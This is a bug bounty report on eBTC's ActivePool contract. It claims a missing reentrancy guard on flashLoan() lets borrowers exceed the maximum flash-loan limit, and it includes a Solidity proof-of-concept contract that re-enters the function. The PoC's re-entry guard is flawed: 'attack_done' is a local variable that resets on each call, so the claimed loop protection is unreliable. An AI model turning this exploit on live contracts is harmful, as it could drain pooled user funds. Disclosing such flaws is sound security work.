28605 - [SC - Insight] Reentrancy on ActivePool allows users to borrow...

Submitted on Feb 22nd 2024 at 12:24:10 UTC by @shanb1605 for Boost | eBTC

Report ID: #28605

Report type: Smart Contract

Report severity: Insight

Target: https://github.com/ebtc-protocol/ebtc/blob/release-0.7/packages/contracts/contracts/ActivePool.sol

Impacts:

• Smart contract unable to operate due to lack of token funds

• Temporary freezing of funds for at least 15 minutes

• Bypassing Max Limit of Flash Loan amount

Description

Brief/Intro

The flashLoan() allows users to borrow collateral on Active Pool. The amount that can be borrowed is limited to maxFlashLoan(token) means one can borrow within the maximum limit of the amount. This limit can be bypassed with a reentrant call on the flashLoan() function.

Vulnerability Details

The ActivePool contract misses reentrancy protection on flashLoan() which leads to borrowing over the max borrow limit of the token.

    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external override returns (bool) {
        require(amount > 0, "ActivePool: 0 Amount");
        uint256 fee = flashFee(token, amount); // NOTE: Check for `token` is implicit in the requires above // also checks for paused
        require(amount <= maxFlashLoan(token), "ActivePool: Too much");

        uint256 amountWithFee = amount + fee;
        uint256 oldRate = collateral.getPooledEthByShares(DECIMAL_PRECISION);

        collateral.transfer(address(receiver), amount);

        require(
            receiver.onFlashLoan(msg.sender, token, amount, fee, data) == FLASH_SUCCESS_VALUE,
            "ActivePool: IERC3156: Callback failed"
        );

        collateral.transferFrom(address(receiver), address(this), amountWithFee);

        collateral.transfer(feeRecipientAddress, fee);

        require(
            collateral.balanceOf(address(this)) >= collateral.getPooledEthByShares(systemCollShares),
            "ActivePool: Must repay Balance"
        );
        require(
            collateral.sharesOf(address(this)) >= systemCollShares,
            "ActivePool: Must repay Share"
        );
        require(
            collateral.getPooledEthByShares(DECIMAL_PRECISION) == oldRate,
            "ActivePool: Should keep same collateral share rate"
        );

        emit FlashLoanSuccess(address(receiver), token, amount, fee);

        return true;
    }

Impact Details

Bypass the max borrow amount and borrow until the Pool rans out of collateral.

References

MakerDao has Reentrancy Protection on the FlashLoan module: https://github.com/makerdao/dss-flash/blob/9d492aa6148c35f568400a1ab85cd6df43b2ccc8/src/flash.sol#L74

https://github.com/makerdao/dss-flash/blob/9d492aa6148c35f568400a1ab85cd6df43b2ccc8/src/flash.sol#L137

Proof of Concept

pragma solidity ^0.8.0;

interface ActivePool {
    function flashLoan(address receiver,address token,uint256 amount,bytes calldata data) external;
}

contract FlashLoan_Receiver {
    bytes32 public constant FLASH_SUCCESS_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");

    function call_Flashloan() external {
        ActivePool(address(1)).flashLoan(address(this), address(0xeee),12301300,"");
    }

    function onFlashLoan(address,address,uint256,uint256,bytes memory) external returns(bytes32) {
        some_actions();
        return FLASH_SUCCESS_VALUE;
    }

    function some_actions() internal {
        bool attack_done;
        if(!attack_done) {
            attack_done = true;
            ActivePool(address(1)).flashLoan(address(this), address(0xeee),12301300,"");
        }
    }

}

• First call_Flashloan() is executed to borrow max amount of tokens.

• Inside onFlashLoan some_actions() will executed to borrow again the collateral from ActivePool.

• It sets attack_done = true to prevent an unbounded loop.

• Further actions will be carried out with the Flash Loan amount.